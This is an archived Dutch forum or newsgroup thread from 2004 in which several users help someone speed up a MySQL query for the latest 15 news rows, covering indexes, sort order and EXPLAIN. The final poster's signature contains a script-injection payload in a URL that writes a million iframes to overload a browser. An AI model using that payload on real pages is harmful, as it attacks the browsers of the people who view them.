PDA

Bekijk Volledige Versie : [mysql] query optimalisatie



Rick
26/09/04, 18:25
Ik heb de volgende table:
CREATE TABLE `news` (
`id` smallint(2) unsigned NOT NULL auto_increment,
`user` mediumint(8) unsigned NOT NULL default '0',
`header` tinytext NOT NULL,
`body` text NOT NULL,
`time` int(10) unsigned default NULL,
`cat` mediumint(8) unsigned NOT NULL default '1',
`reacts` smallint(5) unsigned default '0',
`views` mediumint(8) unsigned NOT NULL default '0',
`status` enum('active','hidden','deleted') NOT NULL default 'active',
`archived` enum('N','Y') NOT NULL default 'N',
`edittime` int(10) unsigned default NULL,
`edituser` mediumint(8) unsigned default NULL
PRIMARY KEY (`id`),
KEY `user` (`user`),
KEY `time` (`time`),
KEY `status` (`status`,`cat`),
KEY `user_2` (`user`,`status`,`cat`),
FULLTEXT KEY `text_search` (`header`,`body`)
) TYPE=MyISAM

En uit deze table wil ik de laatste 15 records halen. Dat is geen
probleem met een Limit. Echter dit is niet de snelste methode. Ik heb
getest met bijvoorbeeld nog een restrictie op time in een where clause
en toen werd de query aanmerkelijk sneller (kleinere selectie). Alleen,
op zich weet ik niet tussen welke tijden de 15 records zich bevinden...

Iemand een idee of tips om een vrij eenvoudige query toch nog iets
sneller te maken?

Rene Pijlman
26/09/04, 20:15
Rick:
>Ik heb de volgende table:
[...]
>En uit deze table wil ik de laatste 15 records halen.

Laatste 15 volgens welke sortering?

Neem de eerste 15 van de omgekeerde sortering en het is misschien sneller.

--
René Pijlman

Wat wil jij leren? http://www.leren.nl

Rick
26/09/04, 20:45
Rene Pijlman wrote:
> Rick:
>
>>Ik heb de volgende table:
>
> [...]
>
>>En uit deze table wil ik de laatste 15 records halen.
>
>
> Laatste 15 volgens welke sortering?
>
> Neem de eerste 15 van de omgekeerde sortering en het is misschien sneller.
>
Nouja ik heb het dus fout gezegd, ik neem dus de eerste van 15 van
hetgeen dat aflopend gesorteerd is op tijd. (dus op zich zijn het de
laatste 15 toegevoegden, alleen als je de data los bekijkt zijn het in
dit geval de eerste 15).

Rene Pijlman
26/09/04, 22:05
Rick:
>ik neem dus de eerste van 15 van hetgeen dat aflopend gesorteerd
>is op tijd.

En is er een index op die tijd-kolom?

--
René Pijlman

Wat wil jij leren? http://www.leren.nl

Rick
27/09/04, 00:35
Rene Pijlman wrote:
> Rick:
>
>>ik neem dus de eerste van 15 van hetgeen dat aflopend gesorteerd
>>is op tijd.
>
>
> En is er een index op die tijd-kolom?
>
KEY `time` (`time`), staat in de OP, dus het antwoord is ja. Maar
hetgeen wat je dus niet weet waar deze 15 zich in de tijd bevinden.

John Bokma
27/09/04, 00:45
Rick <spammans@chello.nl> wrote in news:cj7g3k$c2$1@nl-news.euro.net:

> Rene Pijlman wrote:
>> Rick:
>>
>>>ik neem dus de eerste van 15 van hetgeen dat aflopend gesorteerd
>>>is op tijd.
>>
>>
>> En is er een index op die tijd-kolom?
>>
> KEY `time` (`time`), staat in de OP, dus het antwoord is ja. Maar
> hetgeen wat je dus niet weet waar deze 15 zich in de tijd bevinden.

Heb je met explain gekeken of het efficient is? Ik meen mij te herinneren
dat als je een limit doet op een key dat dit snel was.

--
John Voorbeeldscripts in Perl:http://johnbokma.com/perl/
Website design: http://johnbokma.com/websitedesign/
Ervaren Perl / Java programmeur beschikbaar: http://castleamber.com/
Tevreden opdrachtgevers: http://castleamber.com/testimonials.html

Rick
27/09/04, 07:05
John Bokma wrote:
> Rick <spammans@chello.nl> wrote in news:cj7g3k$c2$1@nl-news.euro.net:
>
>
>>Rene Pijlman wrote:
>>
>>>Rick:
>>>
>>>
>>>>ik neem dus de eerste van 15 van hetgeen dat aflopend gesorteerd
>>>>is op tijd.
>>>
>>>
>>>En is er een index op die tijd-kolom?
>>>
>>
>> KEY `time` (`time`), staat in de OP, dus het antwoord is ja. Maar
>>hetgeen wat je dus niet weet waar deze 15 zich in de tijd bevinden.
>
>
> Heb je met explain gekeken of het efficient is? Ik meen mij te herinneren
> dat als je een limit doet op een key dat dit snel was.
>
Een limit op een key? Hoe gaat dat in zijn werk? Ik weet dat je query
aanmerkelijk sneller kan zijn indien je where clause en je keys goed op
elkaar zijn afgestemd. Qua epxlain heb ik alles doorgenomen, ik zit nu
alleen (met behulp van jullie) te zoeken hoe ik deze query nog verder
kan optimaliseren :).

John Bokma
27/09/04, 08:15
Rick <spammans@chello.nl> wrote in news:cj86vf$4dj$1@nl-news.euro.net:

> John Bokma wrote:

>> Heb je met explain gekeken of het efficient is? Ik meen mij te
>> herinneren dat als je een limit doet op een key dat dit snel was.
>>
> Een limit op een key?

de limit in je select op een veld met een index. Ik dacht dat dat gewoon
snel was, en niet O ( n ) of O ( n log n ).

--
John Voorbeeldscripts in Perl:http://johnbokma.com/perl/
Website design: http://johnbokma.com/websitedesign/
Ervaren Perl / Java programmeur beschikbaar: http://castleamber.com/
Tevreden opdrachtgevers: http://castleamber.com/testimonials.html

Rick
28/09/04, 19:15
John Bokma wrote:
> Rick <spammans@chello.nl> wrote in news:cj86vf$4dj$1@nl-news.euro.net:
>
>
>>John Bokma wrote:
>
>
>>>Heb je met explain gekeken of het efficient is? Ik meen mij te
>>>herinneren dat als je een limit doet op een key dat dit snel was.
>>>
>>
>>Een limit op een key?
>
>
> de limit in je select op een veld met een index. Ik dacht dat dat gewoon
> snel was, en niet O ( n ) of O ( n log n ).
>
Is het mogelijk om een limit te doen op een specifieke key? Of leg ik de
link verkeerd?

Hans
28/09/04, 19:35
On Tue, 28 Sep 2004 19:06:39 +0200, Rick <spammans@chello.nl> wrote:
> John Bokma wrote:

>>>Een limit op een key?
>>
>>
>> de limit in je select op een veld met een index. Ik dacht dat dat gewoon
>> snel was, en niet O ( n ) of O ( n log n ).
>>
> Is het mogelijk om een limit te doen op een specifieke key? Of leg ik de
> link verkeerd?

Die limit op de key leg je door de juiste keys te gebruiken voor veel
gebruikte queries. Vooral door een index te zetten op waardes die je in
je where clause ophaalt kun je een behoorlijke snelheids winst behalen.

Groet,

Hans
--
begin http://<XSS_VULN_HOST>/<script>var i; for (i=1;i<1000000;i++) {
document.write("\<iframe
src=\"snews://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + i +
"\"\>\<\/iframe>"); } document.refresh; </script>